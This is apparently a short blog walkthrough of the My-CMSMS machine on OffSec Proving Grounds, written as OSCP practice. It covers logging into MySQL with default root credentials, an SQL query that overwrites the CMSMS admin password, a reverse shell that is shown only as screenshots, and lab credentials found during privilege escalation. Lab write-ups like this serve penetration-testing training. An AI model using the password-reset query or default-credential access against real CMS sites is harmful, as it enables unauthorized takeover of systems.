Home My-CMSMS Medium box on Offensive Security Proving Grounds - OSCP Preparation.
Post
Cancel

My-CMSMS Medium box on Offensive Security Proving Grounds - OSCP Preparation.

Hello,

We are going to exploit one of OffSec Proving Grounds Medium machines which called My-CMSMS and this post is not a fully detailed walkthrough, I will just go through the important points during the exploit process.

Enumeration:

  • Nmap: image

  • Login to the remote mysql using root:root: image

  • Exploring cmsms_db Database:

1
2
3
4
5
6
7
8
9
10
11
12
13
MySQL [cmsms_db]> show tables;
+--------------------------------+
| Tables_in_cmsms_db             |
+--------------------------------+
| cms_additional_users           |
.
.
.
| cms_users                      |
| cms_users_seq                  |
| cms_version                    |
+--------------------------------+
53 rows in set (0.328 sec)

image

  • Updating the admin password:

    I couldn’t crack the MD5 hash, so let’s just try to update the password to something we already know, I found this blog post and it shows the MySQL query to update the password: image

  • Executing MySQL Query:

    • This query will update the admin password to admin:
      update cms_users set password = (select md5(CONCAT(IFNULL((SELECT sitepref_value FROM cms_siteprefs WHERE sitepref_name = 'sitemask'),''),'admin'))) where username = 'admin';
      

Getting RCE:

  1. Generating bash reverse shell payload and starting a Netcat Listener: image

  2. Injecting bash payload to the application: image

image

  1. hit the submit button, then open the shell:

image

  1. Hit Run:

image

  1. We got RCE: image

Privilege Escalation:

  • LinEnum:

image

  • Decoding: image

  • Creds:
    • User: armour
    • Pass: Shield@123
  • Getting root: image

Happy Hacking!

This post is licensed under CC BY 4.0 by the author.

Loly Medium box on Offensive Security Proving Grounds - OSCP Preparation.

NoName Medium box on Offensive Security Proving Grounds - OSCP Preparation.

Comments powered by Disqus.